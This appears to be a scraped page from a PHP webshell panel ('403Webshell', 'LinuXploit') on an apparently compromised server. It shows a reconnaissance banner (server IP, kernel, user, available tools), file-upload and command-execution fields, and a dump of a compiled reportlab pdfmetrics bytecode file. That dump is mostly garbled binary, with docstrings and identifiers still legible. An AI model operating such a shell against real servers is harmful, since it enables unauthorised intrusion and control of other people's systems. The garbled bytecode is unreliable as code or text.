403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/reportlab/pdfbase/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/reportlab/pdfbase/__pycache__/pdfmetrics.cpython-311.pyc
�

�j4c�t����dZdZddlZddlZddlZddlmZddlmZddl	m
Z
mZmZm
Z
mZmZmZmZddlmZmZddlmZmZdd	lmZd
Zej���ejZejZiZiZiZ iZ!Gd�de"��Z#Gd
�de"��Z$d�Z%Gd�d��Z&d7d�Z'd�Z(Gd�d��Z)gZ*Gd�d��Z+e,d��Z-e,d��Z.e,d��Z/e,d��Z0d�Z1da2Gd�de&��Z3d�Z4d �Z5d8d!�Z6d"�Z7d#�Z8d$�Z9d%�Z:d&�Z;e;d'��Z<e*�=e;d(��e<g��d7d)�Z>d7d*�Z?d7d+�Z@d,�ZAd9d.�ZBd/�ZCd0�ZDd1�ZEd2�ZFeGe�H��e�H��e �H��e!�H���3��fd4�ZIdd5lmJZJeJeI��[JeKd6kreF��eE��dSdS):z3.3.0a�This provides a database of font metric information and
efines Font, Encoding and TypeFace classes aimed at end users.

There are counterparts to some of these in pdfbase/pdfdoc.py, but
the latter focus on constructing the right PDF objects.  These
classes are declarative and focus on letting the user construct
and query font objects.

The module maintains a registry of font objects at run time.

It is independent of the canvas or any particular context.  It keeps
a registry of Font, TypeFace and Encoding objects.  Ideally these
would be pre-loaded, but due to a nasty circularity problem we
trap attempts to access them and do it on first access.
�N)�	_fontdata)�warnOnce)�	rl_isfile�rl_glob�rl_isdir�
open_and_read�open_and_readlines�findInPaths�isSeq�isStr)�defaultEncoding�T1SearchPath)�
unicode2T1�instanceStringWidthT1)�	rl_codecs�nc��eZdZdS)�	FontErrorN��__name__�
__module__�__qualname__���>/usr/lib/python3/dist-packages/reportlab/pdfbase/pdfmetrics.pyrr'��������Drrc��eZdZdS)�FontNotFoundErrorNrrrrrr)rrrc	��t|d��}t|��dkrB|r|d�d��}t|��dkrtd|z���i}g}d�|D��}d�|D��}d}|D�].}|dd�d	krd}�|dd
�dkrd}�%|�r|�d��}d
�|D��}|dd�\}}}	|���\}
}|
dks
Jd|z���t	|��}|���\}
}|
dks
Jd|z���	t	|��}
n#t$rt|��}
YnwxYw|	���\}
}|
dks
Jd|z���|}|�||
|f����0d}|D]�}|dd�dkrd}|dd�d	krd}�#|rb|dd�dkr		|�dd��\}}n#td|�d|�d����xYw	t	|��}n#YnxYw|||<��||fS)aQuick and dirty - gives back a top-level dictionary
    with top-level items, and a 'widths' key containing
    a dictionary of glyph names and widths.  Just enough
    needed for embedding.  A better parser would accept
    options for what data you wwanted, and preserve the
    order.�r�r�
zAFM file %s hasn't enough datac�6�g|]}|�����Sr��strip��.0�ls  r�
<listcomp>z parseAFMFile.<locals>.<listcomp>=s ��&�&�&�1�Q�W�W�Y�Y�&�&�&rc�`�g|]+}|����d���)|��,S)�comment)�lower�
startswithr&s  rr)z parseAFMFile.<locals>.<listcomp>>s3��E�E�E�1�Q�W�W�Y�Y�%9�%9�)�%D�%D�E�Q�E�E�Er��StartCharMetrics��EndCharMetrics�;c�6�g|]}|�����Srr$)r'�chunks  rr)z parseAFMFile.<locals>.<listcomp>Hs ��8�8�8��e�k�k�m�m�8�8�8r��Czbad line in font file %s�WX�N�StartFontMetrics��Comment� z Header information error in afm z: line='�')r	�len�split�
ValueError�int�float�append)�afmFileName�lines�topLevel�
glyphLevel�	inMetrics�line�chunks�cidChunk�
widthChunk�	nameChunkr(r �cid�width�name�inHeader�left�rights                  r�parseAFMFilerT,s���
�{�C�0�0�E�
�5�z�z�1�}�}��.�%��(�.�.��.�.�%��u�:�:�q�=�=��>��L�M�M�M��H��J�&�&��&�&�&�E�E�E��E�E�E�E��I��2�2����"��:�+�+�+��I�I�
�!�B�$�Z�+�
+�
+��I�I�
�	2��Z�Z��_�_�F�8�8��8�8�8�F�.4�Q�q�S�k�+�H�j�)��>�>�#�#�D�A�q���8�8�8�7�$�>�8�8�8��a�&�&�C��#�#�%�%�D�A�q���9�9�9�8�4�?�9�9�9�
!��A�������
!�
!�
!��a������
!�����?�?�$�$�D�A�q���8�8�8�7�$�>�8�8�8��D����s�E�4�0�1�1�1���H��#�#����"��:�+�+�+��H���"��:�+�+�+��H�H�
�
	#��A�a�C�y�I�%�%�t�
h�"�j�j��Q�/�/���e�e��
h� �j�T_�T_�T_�ae�ae�ae�!f�g�g�g����
��E�
�
����
������"�H�T�N��
�j�!�!s*�E�E-�,E-�/H	�	H!�%H5�5H9c�(�eZdZd�Zd�Zd�Zdd�ZdS)�TypeFacec��||_g|_i|_d|_d|_d|_d|_d|_|dkrd|_n|dkrd|_nd|_|tvrd|_
|�|��dSd|_
dS)Nr�ZapfDingbats�ZapfDingbatsEncoding�Symbol�SymbolEncodingr!)rP�
glyphNames�glyphWidths�ascent�descent�
familyName�bold�italic�requiredEncoding�
standardFonts�builtIn�_loadBuiltInData��selfrPs  r�__init__zTypeFace.__init__vs�����	�������������
�����	�����>�!�!�$:�D�!�!�
�X�
�
�$4�D�!�!�$(�D�!��=� � ��D�L��!�!�$�'�'�'�'�'��D�L�L�Lrc���t|��}tj||_t	|j�����|_tj|\|_|_	dS)z�Called for the built in 14 fonts.  Gets their glyph data.
        We presume they never change so this can be a shared reference.N)
�strr�widthsByFontGlyphr]�list�keysr\�ascent_descentr^r_rgs  rrfzTypeFace._loadBuiltInData�sW���4�y�y��$�6�t�<����t�/�4�4�6�6�7�7���#,�#;�D�#A� ���D�L�L�Lrc��gS)z=Info function, return list of the font files this depends on.r�rhs r�getFontFileszTypeFace.getFontFiles�s���	r�.pfbc��|���|���f}t|d��rHtj�|j��d}|D]}t||z��r||zcS�	tj	|j
��}n�#t|j
��}|ru|���dkrB|D]>}tj�|��d|z}t|��r|}�<d}�?n|���dkr|}nd}YnxYw|�td|�d|j
�d���|S)N�pfbFileNamerrsz.afmzCan't find z for face 'r=)
r,�upper�hasattr�os�path�splitextrurr�
findT1FilerP�bruteForceSearchForAFMr)rh�ext�
possible_exts�
r_basename�er �afm�pfbs        rr{zTypeFace.findT1File�si�������c�i�i�k�k�2�
��4�
�&�&�	*���)�)�$�*:�;�;�A�>�J�"�
*�
*���Z�!�^�,�,�*�%��>�)�)�)�*�	��$�T�Y�/�/�A�A��
	�(���3�3�C��
��9�9�;�;�&�(�(�*�%�%�� �g�.�.�s�3�3�A�6��:��$�S�>�>�%� #�A�A� $�A�A�%��Y�Y�[�[�F�*�*��A����������9��H�c�c�c�4�9�9�9�E�F�F�F��s
�B�BD-N)rs)rrrrirfrrr{rrrrVrVusX���������4B�B�B���������rrVc��|�ddlm}t|��r|Stj�|��}|D]E}t
|��s�tj�||��}t|��r|cS�F|S)Nr�r)�reportlab.rl_configrrrxry�basenamer�join)�fn�
searchPath�bfn�dirname�tfns     r�bruteForceSearchForFiler��s�����U�U�U�U�U�U���}�}��R�i�
�'�
�
�2�
�
�C��&�&���� � �*�(��g�l�l�7�3�'�'���S�>�>�%�#�:�:�:�%�
�Irc	�z�ddlm}|D]�}t|��s�t|tjzdz��}|D]}}	t
|��\}}|d|kr|ccS�(#tj��\}}}	d�	tt|j����d|zzf|_�xYw��dS)zcLooks in all AFM files on path for face with given name.

    Returns AFM file name or None.  Ouch!rr�z*.[aA][fF][mM]�FontNamer<z, while looking for faceName=%rN)
r�rrrrx�seprT�sys�exc_infor��maprk�args)
�faceNamerr��	possibles�possible�topDict�	glyphDict�t�v�bs
          rr|r|�s���1�0�0�0�0�0������� � �*�(��G�b�f�,�/?�?�@�@�	�!�	�	�H�
�%1�(�%;�%;�"����:�&�(�2�2�#�O�O�O�O�O�3��
��l�n�n���!�A��(�(�3�s�1�6�?�?�3�3�4U�X`�4`�`�b�������	��s�A$�$AB7c�D�eZdZdZdd�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�ZdS)�Encodingz1Object to help you create and refer to encodings.Nc�2�||_d|_|tvr,|�
Jd���||_tj||_dS|dkr*t|_tjt|_dSt|��r1t|��}|j|_|jdd�|_dSt|��rt|_|dd�|_dSt|t��r"|j|_|jdd�|_dSdS)Nrz2Can't have a base encoding for a standard encoding)
rP�frozen�standardEncodings�baseEncodingNamer�	encodings�vectorr
r�getEncodingr�
isinstancer�)rhrP�base�baseEncs    rrizEncoding.__init__�s
����	�����$�$�$��<�<�!U�<�<�<�$(�D�!�#�-�d�3�D�K�K�K�
�T�\�\�$3�D�!�#�-�o�>�D�K�K�K�
�4�[�[�
	)�!�$�'�'�G�$+�L�D�!�!�.����+�D�K�K�K�
�4�[�[�	)�$3�D�!��q�q�q�'�D�K�K�K�
��h�
'�
'�	)�$(�I�D�!��+�a�a�a�.�D�K�K�K�	)�	)rc��|j|S)z.Return glyph name for that code point, or None)r�)rh�indexs  r�__getitem__zEncoding.__getitem__�s���{�5�!�!rc��|jdks
Jd���|j||kr/t|j��}|||<t|��|_dSdS)Nr�Cannot modify a frozen encoding)r�r�rm�tuple)rhr��value�Ls    r�__setitem__zEncoding.__setitem__�sa���{�a����!B�����;�u��u�$�$��T�[�!�!�A��A�e�H���(�(�D�K�K�K�%�$rc�F�t|j��|_d|_dS�Nr!)r�r�r�rqs r�freezezEncoding.freeze�s���D�K�(�(�������rc�v�|j|jko)t|j��t|j��kS�N)rPr�r�)rh�others  r�isEqualzEncoding.isEquals/���y�%�*�$�P��t�{�);�);�U�5�<�=P�=P�)P�Prc�\�|jdks
Jd���|}|D]}||j|<|dz}�dS)zASet a group of character names starting at the code point 'base'.rr�r!N)r�r�)rhr��newNames�idxrPs     r�modifyRangezEncoding.modifyRangesS���{�a����!B�������	�	�D�#�D�K�����'�C�C�	�	rc�0�g}d}tt|j����D]X}|j|}||j|kr|r|�|��g}�:|r|�|���R|r||g}�Y|r|�|��|S)aZ
        Return a compact list of the code points differing between two encodings

        This is in the Adobe format: list of
           [[b1, name1, name2, name3],
           [b2, name4]]
           
        where b1...bn is the starting code point, and the glyph names following
        are assigned consecutive code points.
        
        N)�ranger>r�rC)rh�otherEnc�ranges�curRange�i�glyphs      r�getDifferenceszEncoding.getDifferencess��������s�4�;�'�'�(�(�
	*�
	*�A��K��N�E��h�o�a�(�(�(��"��M�M�(�+�+�+�!�H���*��O�O�E�*�*�*�*��*� !�5�z�H���	$��M�M�(�#�#�#��
rc��ddlm}i}|j}t|��}|�|��}|gkr|�|��Sg}|D]D}|�|d��|dd�D]}|�|�d|z����E|�|��|d<|dvr|�|��|d<|�d	��|d
<|�|��}	|	S)z&Returns a PDF Object representing selfr��pdfdocr!N�/�Differences)�MacRomanEncoding�MacExpertEncoding�WinAnsiEncoding�BaseEncodingr��Type)	�reportlab.pdfbaser�r�r�r��PDFNamerC�PDFArray�
PDFDictionary)
rhr��Dr�r��differences�	diffArrayr��	glyphName�PDs
          r�
makePDFObjectzEncoding.makePDFObject,s6��	-�,�,�,�,�,����0���.�/�/���)�)�'�2�2���"����>�>�"2�3�3�3��I�$�
:�
:��� � ��q��*�*�*�!&�q�r�r��:�:�I� �,�!�(�(��y��9�9�9��:� &���y�9�9�A�m���#]�]�]�$*�N�N�3C�$D�$D��.�!����z�2�2�A�f�I��%�%�a�(�(�B��Irr�)rrr�__doc__rir�r�r�r�r�r�r�rrrr�r��s�������;�;�)�)�)�)�."�"�"�
#�#�#����Q�Q�Q�������<����rr�c�B�eZdZdZdZdZdd�Zdd�Zd�Zd�Z	d	�Z
d
�ZdS)
�FontaDRepresents a font (i.e combination of face and encoding).

    Defines suitable machinery for single byte fonts.  This is
    a concrete class which can handle the basic built-in fonts;
    not clear yet if embedded ones need a new font class or
    just a new typeface class (which would do the job through
    composition)rNc��||_t|��x}|_t|��|_||_|jr|j�tn|pg|_	|�
��t|_|dkr|pt|_dS)NrX)
�fontName�getTypeFace�facer��encoding�encNamererc�standardT1SubstitutionFonts�substitutionFonts�_calcWidths�_notdefChar�_notdefFont)rhrPr�r�r�r�s      rriz
Font.__init__]s�����
�&�x�0�0�0��t�y�"�7�+�+��
����'+�|�#A�8<�8M�8U�#>�"=�):�)@�b�	
��	
������&�����/�8�D�G�K����r�utf8c�(�t||||���S)N�r�)r)rh�text�sizer�s    r�stringWidthzFont.stringWidthis��$�T�4���I�I�I�Irc�<�d|jj�d|jj�d�S)N�<r<�>)�	__class__rr�rPrqs r�__repr__z
Font.__repr__ls"��� �N�3�3�3�T�Y�^�^�^�D�Drc	�*�dgdz}|jj}|jj}t	d��D]]}||}|�Q	||}|||<�#t
$r5ddl}|jjr!td|jj
�d|�d���n	Y�YwxYw�^||_dS)z)Vector of widths for stringWidth functionr�Nz
typeface "z" does not have a glyph "z", bad font!)r�r]r�r�r��KeyErrorr��	rl_config�warnOnMissingFontGlyphs�printrP�widths)rh�w�gw�vecr�r�rO�	reportlabs        rr�zFont._calcWidthsos����C�#�I��
�Y�
"���m�"���s���	�	�A��A��I��$���y�M�E� �A�a�D�D������.�.�.�.� �*�B����W[�W`�We�We�We�gp�gp�gp�q�r�r�r�r��������	%�����s�
A	�	<B�Bc��d}td��D]I}|dztt|j|��d��z}|dkr|dz}|dzdkr|d	z}�J|S)
z<returns a pretty block in PDF Array format to aid inspection�[r�� r��s ]r.��
)r��bytesrkr�)rhr�r�s   r�
_formatWidthszFont._formatWidths�sp�����s���	$�	$�A��$�;��s�4�;�q�>�':�':�6�!B�!B�B�D��C�x�x��e�|���2�v��|�|��e�|����rc�x�ddlm}dtt|j��dz��z}|���}||_|jj|_	d|j
z|_|j�
��}t|��r|dvr||_|jjt vrLd|_d|_|�|j��|_|j�|��|_|�||��}|jdj}|||<d	|z|j|j
<d
S)z�Makes and returns one or more PDF objects to be added
        to the document.  The caller supplies the internal name
        to be used (typically F1, F2... in sequence) rr��Fr!zFont %s)z/MacRomanEncodingz/MacExpertEncodingz/WinAnsiEncodingr�
BasicFontsr�N)r�r��reprr>�fontMapping�PDFType1Font�Namer�rP�BaseFontr��__Comment__r�r�rr�rd�	FirstChar�LastCharr�r��Widths�
addObjects�FontDescriptor�	Reference�
idToObject�dict)rh�docr��internalName�pdfFontr��ref�fontDicts        rrzFont.addObjects�s7��
	-�,�,�,�,�,��T�#�c�o�"6�"6�q�"8�9�9�9���%�%�'�'��#����9�>���'�$�-�7����M�'�'�)�)���Q�x�x�	!�1� ]�]�]� �G���y�~��.�.� !�G��"�G��#�_�_�T�[�9�9�G�N�%)�Y�%9�%9�#�%>�%>�G�"��m�m�G�\�2�2���>�,�/�4��!(����*-�|�);����
�&�&�&rr��r�)rrrr��
_multiByte�_dynamicFontrir�r�r�rrrrrr�r�Qs����������J��L�
H�
H�
H�
H�J�J�J�J�E�E�E����(	�	�	� <� <� <� <� <rr��r!�r5c��t||��tkst||dz��|krFtd|tt��t|��|||||dzfz���|tkrdS|dz}||dzdz||dzdzz||dzzdz||z}|dz}||zt|��kr#td|||t|��fz���|||zfS)Nr!zGBad pfb file'%s' expected chr(%d)chr(%d) at char %d, got chr(%d)chr(%d)rr5��z1Bad pfb file'%s' needed %d+%d bytes have only %d!)�chr�
PFB_MARKERr@�ord�PFB_EOFr>)�p�d�mr�r(s     r�	_pfbCheckr*�s^��
�1�Q�4�y�y�*����A�a��c�F���Q����d�hj�kn�oy�kz�kz�{~�@A�|B�|B�CD�EF�GH�EI�JK�LM�NO�LO�JP�hQ�Q�R�R�	R��'�z�z�6�6�	�A��A�
�q��s�V�a�K�!�A�a�C�&�1��$�q��1��v�
.��	2�Q�q�T�:�A�	�A��A���s�3�q�6�6�z�z��N�RT�UV�WX�Y\�]^�Y_�Y_�Q`�`�a�a�a��a��c�6�Mrc�0�eZdZdZd�Zd�Zd�Zd�Zd�ZdS)�EmbeddedType1FacezcA Type 1 font other than one of the basic 14.

    Its glyph data will be embedded in the PDF file.c��t�|d��t|t��}t|t��}tj�|��|_tj�|��|_d|_	|�
|��|�|��dSr�)rVrir
rrxry�abspathrDrurc�_loadGlyphs�_loadMetrics)rhrDrus   rrizEmbeddedType1Face.__init__�s������$��%�%�%�"�+�l�;�;��!�+�l�;�;���7�?�?�;�7�7����7�?�?�;�7�7��� $�������%�%�%����+�&�&�&�&�&rc��|j|jgSr�)rDrurqs rrrzEmbeddedType1Face.getFontFiles�s��� �$�"2�3�3rc��t|��}t|��s
Jd|z���t|d��}td|t|��\}}t||t
|��\}}t||t|��\}}t||t|��|||�|||�z|||�z|_t|j��|_	||z
|_
||z
|_||z
|_dS)ziLoads in binary glyph data, and finds the four length
        measurements needed for the font descriptorzfile %s not foundr�rN)
r�rrr*�	PFB_ASCII�
PFB_BINARYr&�_binaryDatar>�_length�_length1�_length2�_length3)	rhrur(�s1�l1�s2�l2�s3�l3s	         rr/zEmbeddedType1Face._loadGlyphs�s���.�k�:�:����%�%�H�H�':�[�'H�H�H�H��+�s�+�+���1�Q�y��5�5���B��2�a�
�;�7�7���B��2�a�	�+�6�6���B��"�Q�w�{�+�+�+��R��U�8�A�b��e�H�,�Q�r�"�u�X�5����4�+�,�,����2���
��2���
��2���
�
�
rc��t|��}t|��\}}|d|_|d|_|�dd��|_|�dd��|_|�dd��|_|�dd��|_|�d	d��|_	|�d
d��|_
|�dgd���}|���}g|_|D])}|j�
t|�����*i}|D]\}}	}
|	||
<�||_t!|�����|_|j���|�d
d��dkr�t(�!	ddlm}|a~n#iat/d���xYwdgdz}i}
i}|D]B\}}	}
d|cxkrdkr/n�|
||<t(�|
d��}|�
|||<||
|<�Ct1jd|jz��}t4j�||
|��||_t=||��}t?|��dSdS)z Loads in and parses font metricsr��
FamilyName�Ascender���	Descenderr�	CapHeight�ItalicAngle�stemV�XHeight�FontBBox)rrrCrC�EncodingSchemeN�FontSpecific)�_glyphname2unicodez�cannot import module reportlab.pdfbase._glyphlist module
you can obtain a version from here
https://www.reportlab.com/ftp/_glyphlist.py
r�rzrl-dynamic-%s-encoding) r�rTrPr`�getr^r_�	capHeight�italicAnglerG�xHeightr?�bboxrCrAr]rmrnr\�sort�_postScriptNames2Unicode�reportlab.pdfbase._glyphlistrLr@r��normalize_encodingr�	RL_Codecs�add_dynamic_codecrcr��registerEncoding)rhrDrF�	glyphData�strBbox�tokens�tokr]rNrOrPrL�names�ex�rex�code�ur��encs                   rr0zEmbeddedType1Face._loadMetrics�s���.�k�:�:�� ,�[� 9� 9���9��Z�(��	�"�<�0����l�l�:�t�4�4����|�|�K��3�3���!���k�4�8�8���#�<�<�
�q�9�9����\�\�'�1�-�-��
��|�|�I�t�4�4����,�,�z�?�?�?�;�;����������	��	'�	'�C��I���S��X�X�&�&�&�&���"+�	&�	&��S�%�� %�K����&����{�/�/�1�1�2�2�����������<�<�(�$�/�/�>�A�A�'�/�
�O�O�O�O�O�O�/A�,�*�*���/1�,�$�L��������F�S�L�E��B��C�'0�
%�
%�#��u�d��d�<�<�<�<�C�<�<�<�<�<�"&�E�$�K�0�4�4�T�$�?�?�A��}�$%��D�	� $��1����2�3K�d�i�3W�X�X�G���1�1�'�"�S�A�A�A�$+�D�!��7�E�*�*�C��S�!�!�!�!�!�;B�As�5	F?�?Gc��ddlm}|���}|j|_|j|jd<|j|jd<|j|jd<|�	|d|j
z��}|�d|j|j
|jd|�|j��|�|j��|j|j|j|d	���}|�	|d
|jz��}|S)zFAdd whatever needed to PDF file, and return a FontDescriptor referencerr��Length1�Length2�Length3z	fontFile:z/FontDescriptor�")r��AscentrE�Descent�FlagsrIr�rF�StemVrH�FontFilezfontDescriptor:)r�r��	PDFStreamr5�contentr7�
dictionaryr8r9rrur�r^rNr_r�rQr�rPrOrGrP)rhrr��fontFile�fontFileRef�fontDescriptor�fontDescriptorRefs       rrzEmbeddedType1Face.addObjects$s��,�,�,�,�,�,��#�#�%�%���+���)-����I�&�)-����I�&�)-����I�&��m�m�H�k�D�<L�.L�M�M���-�-�%��[����l�����t�y�1�1��~�~�d�i�0�0��*��J��l�#�/�/���� �M�M�.�:K�d�i�:W�X�X�� � rN)	rrrr�rirrr/r0rrrrr,r,�sj������8�8�'�'�'�4�4�4����$;"�;"�;"�z!�!�!�!�!rr,c��t|t��s
Jd|z���|t|j<|jtvrt|j��dSdS)NzNot a TypeFace: %s)r�rV�
_typefacesrPrd�registerFontFamily)r�s r�registerTypeFacerwBs_���d�H�%�%�B�B�';�d�'B�B�B�B� �J�t�y���9�
�%�%�	�4�9�%�%�%�%�%�&�%rc�P�t|t��s
Jd|z���|jtvrR|�t|j��r|���dSt
d|jz���|t|j<|���dS)NzNot an Encoding: %sz>Encoding "%s" already registered with a different name vector!)r�r�rP�
_encodingsr�r�r)rbs rrXrXJs����c�8�$�$�A�A�&;�c�&A�A�A�A�
�x�:����;�;�z�#�(�+�,�,�	i��J�J�L�L�L�L�L��\�_b�_g�g�h�h�h�"�
�3�8���
�
�����rc�"�ddlm}|s|}|���}|s|p|p|}|s|}|s|}|�|dd|��|�|dd|��|�|dd|��|�|dd|��dS)Nr)�fontsr!)�
reportlab.libr{r,�
addMapping)�family�normalrarb�
boldItalicr{s      rrvrvWs���#�#�#�#�#�#��"�F�6�
�\�\�^�^�F��<�F�$<�d�$<�f�z������"�F�6�	���V�Q��6�*�*�*�	���V�Q��4�(�(�(�	���V�Q��6�*�*�*�	���V�Q��:�.�.�.�.�.rc�D�|j}|jrj|jj}|tvrT|t
vr7t
|}|jst
d|�d|�d|�����|t|<n|xt
|<t|<n
|t|<|jrt|j��dSdS)zGRegisters a font, including setting up info for accelerated stringWidthzAttempt to register fonts r<z
 for face N)	r�rr�rP�_fonts�
_dynFaceNamesr@rrv)�fontr�r��ofonts    r�registerFontr�cs����}�H��� ��9�>���6�!�!��=�(�(�%�h�/���)�-�$�*�V[�V[�V[�]a�]a�]a�ck�ck�%l�m�m�m�',�F�8�$�$�=A�A�
�h�'�&��*:����x����*�	�4�=�)�)�)�)�)�	*�*rc��	t|S#t$r�|tvrGt|��}tj|\|_|_|_t|��|cYSt|��}|r}dD];}tj�
|��d|z}t|��rn�<t|��s
Jd|z���t||��}t|��|cYS�wxYw)z-Lazily construct known typefaces if not found)rsz.PFBrzfile %s not found!)rur�rdrVr�standardFontAttributesr`rarbrwr|rxryrzrr,)r�r�r�r�r�s     rr�r�{s����(�#�#�������}�$�$��H�%�%�D�8A�8X�Ya�8b�5�T�_�d�i����T�"�"�"��K�K�K�)��2�2�C��	
�)�-�-�A��'�*�*�3�/�/��2�Q�6�C� ��~�~�,�u�u�,� ��~�~�A�A�';�c�'A�A�A�A�(��c�2�2�� ��&�&�&������+���s��AC9�)BC9�7C9c��	t|S#t$r-|tvr"t|��}t	|��|cYS�wxYw)z-Lazily construct known encodings if not found)ryr�r�r�rX)r�rbs  rr�r��s`��	��'�"�"�������'�'�'��7�#�#�C��S�!�!�!��J�J�J�����s��3A�Ac�(�t|��}t|��tusJdt|��z���t|��}|jrt|||j��}nt||t��}t|��|S)z-search for and register a font given its namez$fontName=%s is not required type str)rk�type�asciir�rcr�r
r�)r�r�r�s   r�findFontAndRegisterr��s����8�}�}�H���>�>�S� � � �"H�5�QY�?�?�"Z� � � ��x� � �D���9��H�h��(=�>�>����H�h��8�8��������Krc�\�	t|S#t$rt|��cYSwxYw)z�Lazily constructs known fonts if not found.

    Names of form 'face-encoding' will be built if
    face and encoding are known.  Also if the name is
    just one of the standard 14, it will make up a font
    in the default encoding.)r�r�r�)r�s r�getFontr��sA��-��h�����-�-�-�"�8�,�,�,�,�,�-���s��+�+rXrZc��t|��}	|j}|j}n#|jj}|jj}YnxYw|r|dz}||z||zfS||fS)Ng@�@)r�r^r_r�)r��fontSizer�r^r_�norms      r�getAscentDescentr��ss���8���D�$�����,����$���!���)�#�����������~���d�{�G�D�L�(�(��w��s� �<c�.�t||��dS)Nr�r��r�r�s  r�	getAscentr������H�X�.�.�q�1�1rc�.�t||��dSr�r�r�s  r�
getDescentr��r�rc�z�tt�����}|���|S)zReturns what's in there)rmr�rnrR)�regs r�getRegisteredFontNamesr��s)��
�v�{�{�}�}�
�
�C��H�H�J�J�J��Jrr�c�L�t|���|||���S)zjCompute width of string in points;
    not accelerated as fast enough because of instanceStringWidthT1/TTFr�)r�r�)r�r�r�r�s    rr�r��s'���8���(�(��x�(�(�K�K�Krc
���td��tt�����}|���|D]}td|���t��td��tt
�����}|���|D]}td|���t��td��tt�����}|���|D]A}t|}td|j�d|jj	�d|j
j	�d����BdS)	NzRegistered Encodings:z   zRegistered Typefaces:zRegistered Fonts:z    z (r��))r�rmryrnrRrur�r�r�rPr�)rnr��facesr��k�keyr�s       r�dumpFontDatar��sJ��	�
!�"�"�"��
���!�!�"�"�D��I�I�K�K�K�����
�e�G�����	�G�G�G�	�
!�"�"�"�����"�"�#�#�E�	�J�J�L�L�L�����
�e�H�����
�G�G�G�	�
�����V�[�[�]�]���A��F�F�H�H�H��V�V���c�{��
��$�-�-�-��������AS�AS�AS�T�U�U�U�U�V�Vrc��ddl}tdd�D]�}|���}t|��j}|D]!}d}|D]}||t	|��z}��"|���}td||z
z��|���}|D]%}t|���|d��}	�&|���}td||z
z��t����dS)Nrr!zslow stringWidth took %0.4f�
z'class lookup and stringWidth took %0.4f)�timerdr�r�r%r�r�)
�textsr�r��t0r�r�r=�ch�t1r?s
          r�test3widthsr��s���K�K�K�!�!�A�#�&�����Y�Y�[�[���H���$���	%�	%�D��B��
%�
%���!�C��G�G�*�_���
%�
�Y�Y�[�[��
�+�r�B�w�7�8�8�8�
�Y�Y�[�[���	9�	9�D���"�"�.�.�t�R�8�8�B�B�
�Y�Y�[�[��
�7�2��7�C�D�D�D�
�����+�rc��td�����}tdt|��z��td��t	|g��t��|���}tdt|��dt|��zt|��zfz��t	|��dS)Nz-../../rlextra/rml2pdf/doc/rml_user_guide.prepzrawdata length %dztest one huge string...z7test %d shorter strings (average length %0.2f chars)...g�?)�open�readr�r>r�r?)�rawdata�wordss  r�testStringWidthAlgorithmsr�s����B�C�C�H�H�J�J�G�	�
��G���
,�-�-�-�	�
#�$�$�$���	����	�G�G�G��M�M�O�O�E�	�
C�s�5�z�z�SV�WZ�[b�Wc�Wc�Sc�dg�hm�dn�dn�Sn�Fo�
o�p�p�p�������rc��td��}t|��t|jdd���td��}t|j��t|��t	��dS)N�	Helveticar��Wombat)rVrwr�r\r�)�helv�wombats  r�testr�so���K� � �D��T����	�$�/�!�B�$�
� � � �
�h�
�
�F�	�&�
�����V�����N�N�N�N�Nr)ruryr�r�c���|���D]B\}}t��|}|���|�|���Ctj���dSr�)�items�globals�clear�updaterrV�reset_dynamic_codecs)�
initial_dictsr�r�r(s    r�_resetr�'si���"�"�$�$�����!�
�)�)�A�,��	���	�	�	�	��������
��,�,�.�.�.�.�.r)�register_reset�__main__r�)NNNNr)L�__version__r�rxr�r�r�r�reportlab.lib.loggerr�reportlab.lib.utilsrrrrr	r
rrr�r
r�reportlab.lib.rl_accelrrrr�rV�registerrdr�ruryr�r��	ExceptionrrrTrVr�r|r�r�r�r#r$r3r4r&r*rSr,rwrXrvr�r�r�r�r�r��extendr�r�r�r�r�r�r�r�r�r�copyr�r�rrrr�<module>r�s���

��	��������������'�'�'�'�'�'�)�)�)�)�)�)�z�z�z�z�z�z�z�z�z�z�z�z�z�z�z�z�z�z�z�z�=�=�=�=�=�=�=�=�D�D�D�D�D�D�D�D�'�'�'�'�'�'���	��������'�
��/��
�
�
�
�	���
�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�G"�G"�G"�R@�@�@�@�@�@�@�@�D�������0q�q�q�q�q�q�q�q�n!��]<�]<�]<�]<�]<�]<�]<�]<�~�3�t�9�9�
�

�#�a�&�&�	��3�q�6�6�
���A����	�	�	� ��!�!�!�!�!��!�!�!�B&�&�&�
�
�
�
/�
/�
/�
/�*�*�*�0���6������
-�
-�
-��g�n�%�%���"�"�G�G�H�$5�$5�k�#B�C�C�C�����2�2�2�2�2�2�2�2����L�L�L�L�
V�V�V�.���4���	�	�	���#���*�*�#���*�*��[�[�]�]�)�.�.�0�0�	���/�/�/�/�/�.�.�.�.�.���v������Z����D�F�F�F���������r

Youez - 2016 - github.com/yon3zu
LinuXploit